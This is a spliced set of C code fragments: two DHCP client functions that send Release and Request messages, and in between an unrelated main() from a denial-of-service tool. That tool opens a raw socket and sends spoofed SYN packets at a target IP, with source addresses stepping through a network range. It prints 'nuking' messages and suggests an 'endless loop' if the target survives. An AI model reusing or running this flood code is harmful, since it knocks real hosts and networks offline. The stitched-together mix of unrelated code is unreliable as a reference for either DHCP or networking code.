/** * DHCP: Sends DHCP-Release message. Releases occupied IP. */ void dhcp_send_release(void) { uint32_t packetsize = sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(struct btphdr); struct btphdr *btph; dhcp_options_t opt; btph = (struct btphdr *) (ðer_packet[ sizeof(struct iphdr) + sizeof(struct udphdr)]); memset(ether_packet, 0, packetsize); btph -> op = 1; btph -> htype = 1; btph -> hlen = 6; strcpy((char *) btph -> file, ""); memcpy(btph -> chaddr, get_mac_address(), 6); btph -> ciaddr = htonl(dhcp_own_ip); memset(&opt, 0, sizeof(dhcp_options_t)); opt.msg_type = DHCPRELEASE; opt.server_ID = dhcp_server_ip; opt.flag[DHCP_SERVER_ID] = 1; dhcp_encode_options(btph -> vend, &opt); fill_udphdr(ðer_packet[sizeof(struct iphdr)], sizeof(struct btphdr) + sizeof(struct udphdr), UDPPORT_BOOTPC, UDPPORT_BOOTPS); fill_iphdr(ether_packet, sizeof(struct btphdr) + sizeof(struct udphdr) + sizeof(struct iphdr), IPTYPE_UDP, dhcp_own_ip, dhcp_server_ip); send_ipv4(ether_packet, packetsize); }
int main(int argc, char *argv[]) { struct net_tuple nt; int sox; int on = 1; unsigned long iprunner; int c=0; if (argc < 3) usage(0); if (argc == 3) local_dos(argv); memset(&nt, 0, sizeof(nt)); if( (sox = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr, "error creating socket\n"); exit(1); } if (setsockopt(sox, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { fprintf(stderr, "error setsockopt\n"); exit(1); } printf("nuking %s on network %s with %d ip's\n", argv[1], argv[2], atoi(argv[3])); nt.dport = htons(31337); nt.sport = htons(31338); if ( (nt.dst = inet_addr(argv[1])) == -1) { fprintf(stderr, "nah. use IP insteat of hostname.\n"); exit(0); } iprunner = ntohl(inet_addr(argv[2])); memset(packet, 0 , sizeof(packet)); while (c++< atoi(argv[3])) { nt.src = htonl(iprunner++); add_tcphdr(packet + ETH_SIZE + IP_SIZE, &nt, TH_SYN); add_iphdr(packet + ETH_SIZE, &nt); send_ipv4(sox, packet + ETH_SIZE, IP_SIZE + TCP_SIZE); } printf("done. Try an endless loop if box is still alive.\n"); return(0); }
/** * DHCP: Sends DHCP-Request message. Asks for acknowledgment to occupy IP. */ static void dhcp_send_request(void) { uint32_t packetsize = sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(struct btphdr); struct btphdr *btph; dhcp_options_t opt; memset(ether_packet, 0, packetsize); btph = (struct btphdr *) (ðer_packet[ sizeof(struct iphdr) + sizeof(struct udphdr)]); btph -> op = 1; btph -> htype = 1; btph -> hlen = 6; memcpy(btph -> chaddr, get_mac_address(), 6); memset(&opt, 0, sizeof(dhcp_options_t)); opt.msg_type = DHCPREQUEST; memcpy(&(opt.requested_IP), &dhcp_own_ip, 4); opt.flag[DHCP_REQUESTED_IP] = 1; memcpy(&(opt.server_ID), &dhcp_server_ip, 4); opt.flag[DHCP_SERVER_ID] = 1; opt.request_list[DHCP_MASK] = 1; opt.request_list[DHCP_DNS] = 1; opt.request_list[DHCP_ROUTER] = 1; opt.request_list[DHCP_TFTP_SERVER] = 1; opt.request_list[DHCP_BOOTFILE] = 1; dhcp_encode_options(btph -> vend, &opt); fill_udphdr(ðer_packet[sizeof(struct iphdr)], sizeof(struct btphdr) + sizeof(struct udphdr), UDPPORT_BOOTPC, UDPPORT_BOOTPS); fill_iphdr(ether_packet, sizeof(struct btphdr) + sizeof(struct udphdr) + sizeof(struct iphdr), IPTYPE_UDP, 0, 0xFFFFFFFF); send_ipv4(ether_packet, packetsize); }